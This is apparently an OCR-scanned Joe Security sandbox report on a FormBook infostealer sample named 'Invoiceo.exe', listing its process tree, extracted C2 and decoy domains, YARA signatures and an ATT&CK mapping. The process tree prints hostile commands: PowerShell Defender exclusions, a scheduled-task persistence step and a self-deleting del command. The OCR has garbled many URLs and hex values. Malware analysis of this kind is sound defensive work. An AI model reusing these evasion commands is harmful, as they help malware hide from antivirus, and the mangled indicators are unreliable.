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Analysis Report Invoiceo.exe

Yara detected AntiVM3

Most interesting Screenshot:

Overview
General Information Detection Signatures Classification
Sample Invoiceo.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 402845 Malicious sample detected (through ...
MD5: . .
8f2489d7ce50e99. Multi AV Scanner. detection for dropp...
SHA1L:
5481d53e50fdale. Multi AV Scanner detection for subm...
SHA256: 00138539506472.. " "
Sigma detected: Scheduled temp file...
Tags: exe
. Snort IDS alert for network traffic (e....
Infos: OB Qg
FormBook Yara detected FormBook
Score: 100 Adds a directory exclusion to Windo...
Range: 0-100 C2 URLs / IPs found in malware con...
Whitelisted: false
) Initial sample is a PE file and has a ...
Confidence: 100%
P

= System is w10x64

e B Invoiceo.exe (PID: 6316 cmdline: 'C:\Users\user\Desktop\Invoiceo.exe' MD5: 8F2489D7CE50E99109AF9925818DAF2B)
o E¥ powershell.exe (PID: 6584 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Invoiceo.exe’
MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o E¥ powershell.exe (PID: 6660 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
nglyYxmxiApi.exe' MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B schtasks.exe (PID: 6716 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\yYxmxiApi' /XML 'C:\Users\usen\AppData\Local\Temp\tmpEE1D.tmp' MD5:
15FF7D8324231381BAD48A052F85DF04)
conhost.exe (PID: 6732 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o E¥ powershell.exe (PID: 6856 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roami
nglyYxmxiApi.exe' MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 6880 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B Invoiceo.exe (PID: 6872 cmdline: C:\Users\user\Desktop\Invoiceo.exe MD5: 8F2489D7CE50E99109AF9925818DAF2B)
o B explorer.exe (PID: 3388 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
cmd.exe (PID: 5112 cmdline: C:\Windows\SysWOW&64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)
cmd.exe (PID: 4604 cmdline: /c del 'C:\Users\user\Desktop\Invoiceo.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 2152 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"c2 list": [

"www. swim-maki.com/csi/"

1,

"decoy": [
"crazyonlineboutique.com",
"nelivo.com”,
"chibimama-blog.com",
"teachersofnyc.com",
"rare-snare.com",
"sunriseatlennox.com”,
"innovate-nation.com”,
"mahowebcam. com”,
"foodbyroyalbites.com",
"nkm5860.com",
"premiumplanterboxes.com",
"uspaypausa.com”,
"wto2b.com",
"evoocb.com",
"missilenttech.com",
"adtlive.com",
"guapeco.com”,
"keepfaithful.com",
"djayhoward.com",
"cora-designstj.com”,
"furrybasics.com",
"tabuk24.com",
"bioshope.online",
"paturaldesiproducts.com”,
"ardreykellbaseball.com",
"irisettlement.com",
"bahama-1id.com",
"lastweektonight.watch"”,
"professor-ux.com",
"lifecompetitions.net"”,
"axislnsmail.com",
"dohannor.com",
"powertuningfiles.com”,
"analistaweb.net",
"baascompanies.com",
"gengkakmona.com",
"salonandspaexperts.com”,
"mynet. ltd",
"lionandivy.com",
"shopalam.com",
"ana9aty.net",
"sandostore.com",
"theasigosysteminfo.com",
"academiadoaprender.com",
"akvirtualtours.com",
"hecoldwithit.com",
"stopsiba.com”,
"credit780.com",
"ss@1center.com”,
"wristaidmd.com",
"s2nps.co.uk",
"kontrey.com",
"cheesecakedactory.com",
"bnytechnologies.com",
"enhancinggrowth.com",
"gorgeus-girl-full-service. today",
"bermudesfcrasettlement.com”,
"beste-gruppe.comn",
"lfntv.com”,
"coronarestschuldbefreiung.info”,
"positivechampions.com”,
"roadsigntoday.club”,
"oxytocin.online",

"bupamwhub. com”

Yara Overview

Memory Dumps

Source Rule

00000000.00000002.220474872.0000000003749000.00000 JoeSecurity_FormBook
004.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description Author Strings

00000000.00000002.220474872.0000000003749000.00000 Formbook_1 autogenerated rule Felix Bilstein - e Oxldad88:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
004.00000001.sdmp brought to you by  yara-signator at e Oxldaff2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x2073a8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
com e 0x207612:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
e 0Oxle6bl5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
57494
e 0x213135:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
57494

0x1e6601:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x212c21:$sequence_2: 3B 4F 14 73 9585 C9 74 91
Oxle6cl7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x213237:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox1e6d8f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x2133af:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Ox1dbaOa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE
02 83 E3 OF C1 EA 06
e 0x20802a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE
02 83 E3 OF C1 EA 06
e 0Oxle587c:$sequence_6:57 89 45 FC 8945 F4 89 45 F
8
e 0x21le9c:$sequence_6:57 89 45 FC 8945 F4 89 45 F
8
0x1dc703:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x208d23:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Oxlec7b7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x218dd7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxled7ba:$sequence_9: 56 68 03 01 00 00 8D 85 95 F
E FF FF 6A 00

e o o o o o o

e o o o o

00000000.00000002.220474872.0000000003749000.00000 Formbook detect Formbook in JPCERT/CC
004.00000001.sdmp memory Incident Response
Group

0x1e9899:$sqlite3step: 68 34 1C 7B E1
Ox1e99ac:$sqlite3step: 68 34 1C 7B E1
0x215eb9:$sqlite3step: 68 34 1C 7B E1
0x215fcc:$sqlite3step: 68 34 1C 7B E1
0x1e98c8:$sqlite3text: 68 38 2A 90 C5
0x1e99ed:$sqlite3text: 68 38 2A 90 C5
0x215ee8:$sqlite3text: 68 38 2A 90 C5
0x21600d:$sqlite3text: 68 38 2A 90 C5
0x1e98db:$sqlite3blob: 68 53 D8 7F 8C
0x1e9a03:$sqlite3blob: 68 53 D8 7F 8C
0x215efb:$sqlite3blob: 68 53 D8 7F 8C
0x216023:$sqlite3blob: 68 53 D8 7F 8C

© o o o o 0 o 0o o o o o

0000000B.00000002.324137848.0000000000400000.00000 JoeSecurity_FormBook Yara detected Joe Security
040.00000001.sdmp FormBook

0000000B.00000002.324137848.0000000000400000.00000 Formbook_1 autogenerated rule Felix Bilstein - e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
040.00000001.sdmp brought to you by  yara-signator at e 0x9b52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x15675:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa56a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c3la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

Click to see the 11 entries

Unpacked PEs

Source Rule Description Author Strings

11.2.Invoiceo.exe.400000.0.raw.unpack JoeSecurity_FormBook  Yara detected Joe Security
FormBook

11.2.Invoiceo.exe.400000.0.raw.unpack Formbook_1 autogenerated rule Felix Bilstein - e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
brought to you by  yara-signator at e 0x9b52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x15675:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa56a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c3la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

11.2.Invoiceo.exe.400000.0.raw.unpack Formbook detect Formbook in JPCERT/CC
memory Incident Response
Group

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o
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Source Rule Description Author Strings

11.2.Invoiceo.exe.400000.0.unpack JoeSecurity_FormBook Yara detected Joe Security
FormBook

11.2.Invoiceo.exe.400000.0.unpack Formbook_1 autogenerated rule Felix Bilstein - e 0x8ae8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
brought to you by  yara-signator at e 0x8d52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot 0x14875:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x976a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1b5la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

.

e o o o

e o o o

Click to see the 5 entries

Sigma Overview

System Summary: -:.

Sigma detected: Scheduled temp file as task from temp location

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Boot Survival

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

® Remote Access Functionality

g

Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud: -i.

Yara detected FormBook
Copyright Joe Security LLC 2021 Page 8 of 54



System Summary: | |

Malicious sample detected (through community Yara rule)

=

Boot Survival:

]‘

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

]

Yara detected AntiVM3

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netv
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effe«
Valid Windows Valid Valid Disable or Modify Credential  System Time Remote Archive Exfiltration  Ingress Tool Eave
Accounts Management Accounts g Accounts Tools API Discovery Services Collected  Over Other Transfer Inse
Instrumentation Hooking Data Network Netw
Medium Com
Default Shared Scheduled  Access Token Obfuscated Filesor  LSASS File and Directory Remote Credential Exfiltration Encrypted Expli
Accounts Modules Task/Job §§ Manipulation Information Memory Discovery Desktop API Over Channel Redi
Protocol Hooking g§ Bluetooth Calls
Domain Scheduled Logon Script Process Software Packing Security System Information SMB/Windows Data from Automated Non- Expli
Accounts Task/Job (Windows)  Injection Account Discovery Admin Shares Network  Exfiltration  Application Trac
Manager Shared Layer Loca

Drive Protocol
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Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

e
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

DUUDTUB  EFOYFBOL..

F-ll O Type here to search g

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Invoiceo.exe

Dropped Files

Source

C:\Users\user\AppData\Roaming\yY xmxiApi.exe

Copyright Joe Security LLC 2021

Detection

21%

Detection

21%

Scanner

ReversingLabs

Scanner

ReversingLabs

Label Link
Win32.Trojan.AgentTesla

Label Link
Win32.Trojan.AgentTesla
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Unpacked PE Files

Source Detection Scanner Label Link Download
Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/fiwww.rare-snare.com 0% Avira URL Cloud safe
hitp://iwww.analistaweb.net/csi/www.kontrey.com 0% Avira URL Cloud safe
hitp://www.nelivo.comReferer: 0% Avira URL Cloud safe
hitp:/f\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp:/f\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp:/f\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://iwww.bahama-id.comReferer: 0% Avira URL Cloud safe
hitp:/fiwww.microsoft.co 0% URL Reputation safe
hitp:/fiwww.microsoft.co 0% URL Reputation safe
hitp:/fiwww.microsoft.co 0% URL Reputation safe
hitp://www.bermudesfcrasettiement.com/csi/ 0% Avira URL Cloud safe
hitp://\www.rare-snare.com/csi/www.analistaweb.net 0% Avira URL Cloud safe
hitp:/fiwww.tiro.com 0% URL Reputation safe
hitp:/fiwww.tiro.com 0% URL Reputation safe
hitp:/fiwww.tiro.com 0% URL Reputation safe
hitp:/fiwww.wristaidmd.com/csi/ 0% Avira URL Cloud safe
hitp://\www.foodbyroyalbites.comReferer: 0% Avira URL Cloud safe
hitp:/fwww.swim-maki.com/csi/ 0% Avira URL Cloud safe
hitp://www.analistaweb.net 0% Avira URL Cloud safe
hitp://www.analistaweb.net/csi/ 0% Avira URL Cloud safe
hitp://www.goodfont.co.kr 0% URL Reputation safe
hitp://www.goodfont.co.kr 0% URL Reputation safe
hitp://www.goodfont.co.kr 0% URL Reputation safe
hitp:/fiwww.ss01center.com/csi/www.naturaldesiproducts.com 0% Avira URL Cloud safe
hitp:/f/www.nelivo.com/csi/ 0% Avira URL Cloud safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://iwww.sajatypeworks.com 0% URL Reputation safe
hitp://www.bioshope.online/csi/ 0% Avira URL Cloud safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp:/fiwww.typography.netD 0% URL Reputation safe
hitp://www.analistaweb.netReferer: 0% Avira URL Cloud safe
hitp://\www.foodbyroyalbites.com/csi/ 0% Avira URL Cloud safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://www.founder.com.cn/cn/cThe 0% URL Reputation safe
hitp://iwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://iwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://iwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://fontfabrik.com 0% URL Reputation safe
hitp://www.uspaypausa.com 0% Avira URL Cloud safe
hitp:/fiwww.wristaidmd.com/csi/www.nelivo.com 0% Avira URL Cloud safe
hitp://iwww.uspaypausa.com/csi/ 0% Avira URL Cloud safe
hitp:/fiwww.uspaypausa.com/csi/www.ssOlcenter.com 0% Avira URL Cloud safe
hitp://www.nelivo.com/csi/www.adtlive.com 0% Avira URL Cloud safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://www.naturaldesiproducts.com/csi/ 0% Avira URL Cloud safe
hitp://www.bermudesfcrasettlement.com 0% Avira URL Cloud safe
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Source Detection Scanner Label Link

hitp:/f/www.sandoll.co.kr 0% URL Reputation safe
hitp:/f/www.sandoll.co.kr 0% URL Reputation safe
hitp:/f/www.sandoll.co.kr 0% URL Reputation safe
hitp:/fiwww.swim-maki.com/csi/www.bermudesfcrasettlement.com 0% Avira URL Cloud safe
hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe
hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe
hitp:/fiwww.urwpp.deDPlease 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp://www.zhongyicts.com.cn 0% URL Reputation safe
hitp:/fiwww.adtlive.comReferer: 0% Avira URL Cloud safe
hitp://www.foodbyroyalbites.com 0% Avira URL Cloud safe
hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp:/fiwww.sakkal.com 0% URL Reputation safe
hitp://www.bioshope.onlineReferer: 0% Avira URL Cloud safe
hitp:/fiwww.adtlive.com 0% Avira URL Cloud safe
hitp://www.bahama-id.com/csi/www.uspaypausa.com 0% Avira URL Cloud safe
hitp:/fiwww.swim-maki.comReferer: 0% Avira URL Cloud safe
hitp://www.adtlive.com/csi/ 0% Avira URL Cloud safe
hitp://\www.kontrey.com/csi/www.bahama-id.com 0% Avira URL Cloud safe
hitp://www.naturaldesiproducts.comReferer: 0% Avira URL Cloud safe
hitp://www.bermudesfcrasettiement.comReferer: 0% Avira URL Cloud safe
hitp://iwww.nelivo.com 0% Avira URL Cloud safe
hitp://https://go.micro 0% URL Reputation safe
hitp://https://go.micro 0% URL Reputation safe
hitp://https://go.micro 0% URL Reputation safe
hitp:/f\www.ss01center.com/csi/ 0% Avira URL Cloud safe
hitp:/fiwww.bahama-id.com/csi/ 0% Avira URL Cloud safe
hitp://www.bioshope.online 0% Avira URL Cloud safe
hitp:/fiwww.swim-maki.com 0% Avira URL Cloud safe
hitp:/fiwww.tabuk24.com 0% Avira URL Cloud safe
hitp://www.kontrey.com 0% Avira URL Cloud safe
hitp:/f\www.kontrey.comReferer: 0% Avira URL Cloud safe
hitp://www.foodbyroyalbites.com/csi/www.bioshope.online 0% Avira URL Cloud safe
hitp:/fwww.wristaidmd.com 0% Avira URL Cloud safe
hitp://www.adtlive.com/csi/www.rare-snare.com 0% Avira URL Cloud safe
hitp:/fiwww.tabuk24.com/csi/?TTgLKx=uFNDtp4H1nDLCVd&mR- 0% Avira URL Cloud safe
ptRI=N6ynhade2rGTzfH70bdga9j8h7xnVmduHv/FNLw2V1/0BiufSguui3vD99XwSD3G2mHh

hitp://www.carterandcone.coml 0% URL Reputation safe
hitp://www.carterandcone.coml 0% URL Reputation safe
hitp://www.carterandcone.coml 0% URL Reputation safe
hitp:/fiwww.ssO1center.comReferer: 0% Avira URL Cloud safe
hitp:/fiwww.tabuk24.comReferer: 0% Avira URL Cloud safe
hitp://www.founder.com.cn/cn 0% URL Reputation safe
hitp://www.founder.com.cn/cn 0% URL Reputation safe
hitp://www.founder.com.cn/cn 0% URL Reputation safe
hitp://www.naturaldesiproducts.com 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation
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Name

Malicious

Antivirus Detection

Reputation

URLs from Memory and Binaries

Name

hitp:/fiwww.fontbureau.com/designersG

hitp//www.rare-snare.com

hitp://iwww.analistaweb.net/csi/www.kontrey.com

hitp://www.nelivo.comReferer:

hitp:/f\www.fontbureau.com/designers/?

hitp:/f\www.founder.com.cn/cn/bThe

hitp:/fiwww.fontbureau.com/designers?

hitp://iwww.bahama-id.comReferer:

hitp:/fiwww.microsoft.co

hitp://www.bermudesfcrasettiement.com/csi/

hitp://\www.rare-snare.com/csi/www.analistaweb.net

hitp:/fiwww.tiro.com

hitp:/fiwww.wristaidmd.com/csi/

hitp://www.fontbureau.com/designers

hitp://\www.foodbyroyalbites.comReferer:

hitp:/fwww.swim-maki.com/csi/

hitp://www.analistaweb.net

hitp://www.analistaweb.net/csi/

hitp://www.goodfont.co.kr

http:/f

https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstr

ap.min.css

hitp:/fiwww.ss01center.com/csi/www.naturaldesiproducts.com

hitp:/f\www.nelivo.com/csi/

hitp://iwww.sajatypeworks.com

hitp://www.bioshope.online/csi/
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Source

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

powershell.exe, 00000004.00000
003.348127191.00000000090A2000
.00000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

Invoiceo.exe, 00000000.0000000
2.217060931.0000000002741000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud:

Avira URL Cloud:

URL Reputation:
URL Reputation:
URL Reputation:

Avira URL Cloud

safe

safe

safe

safe
safe
safe

safe

safe
safe
safe

safe

safe

safe
safe
safe

safe

safe

safe

safe

safe

safe
safe
safe

safe

safe

safe
safe
safe

: safe

Reputation

high

unknown

unknown

unknown

high

unknown

high

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown

high

unknown

unknown

unknown

unknown
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Name

hitp:/fiwww.typography.netD

hitp://www.analistaweb.netReferer:

hitp://\www.foodbyroyalbites.com/csi/

hitp://www.founder.com.cn/cn/cThe

hitp://iwww.galapagosdesign.com/staff/dennis.htm

hitp://fontfabrik.com

hitp://www.uspaypausa.com

hitp:/fiwww.wristaidmd.com/csi/www.nelivo.com

hitp://iwww.uspaypausa.com/csi/

hitp:/fiwww.uspaypausa.com/csi/www.ssOlcenter.com

hitp://www.nelivo.com/csi/www.adtlive.com

hitp://iwww.galapagosdesign.com/DPlease

hitp://www.naturaldesiproducts.com/csi/

hitp://www.bermudesfcrasettlement.com

hitp:/fiwww.fonts.com

hitp:/fiwww.sandoll.co.kr

hitp:/fiwww.swim-

maki.com/csi/www.bermudesfcrasettlement.com

hitp:/f‘www.urwpp.deDPlease

hitp://www.zhongyicts.com.cn

hitp:/fiwww.adtlive.comReferer:

hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

hitp://www.foodbyroyalbites.com

hitp:/fiwww.sakkal.com

hitp://https://github.com/unguest

hitp://www.bioshope.onlineReferer:

hitp://iwww.adtlive.com
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Source

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Invoiceo.exe, 00000000.0000000
2.217060931.0000000002741000.0
0000004.00000001.sdmp, powersh
ell.exe, 0000000A.00000002.405
129582.0000000004931000.000000
04.00000001.sdmp

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp

explorer.exe, 0000000D.0000000
0.279217207.0000000008B46000.0
0000002.00000001.sdmp

Invoiceo.exe

explorer.exe, 0000000D.0000000
2.500356257.00000000056A1000.0
0000004.00000001.sdmp
explorer.exe, 0000000D.0000000

2.500356257.00000000056A1000.0
0000004.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

.

Antivirus Detection

URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe

.

.

.

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe

.

.

.

.

.

.

URL Reputation: safe
Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

e URL Reputation: safe
e URL Reputation: safe

.

.

.

.

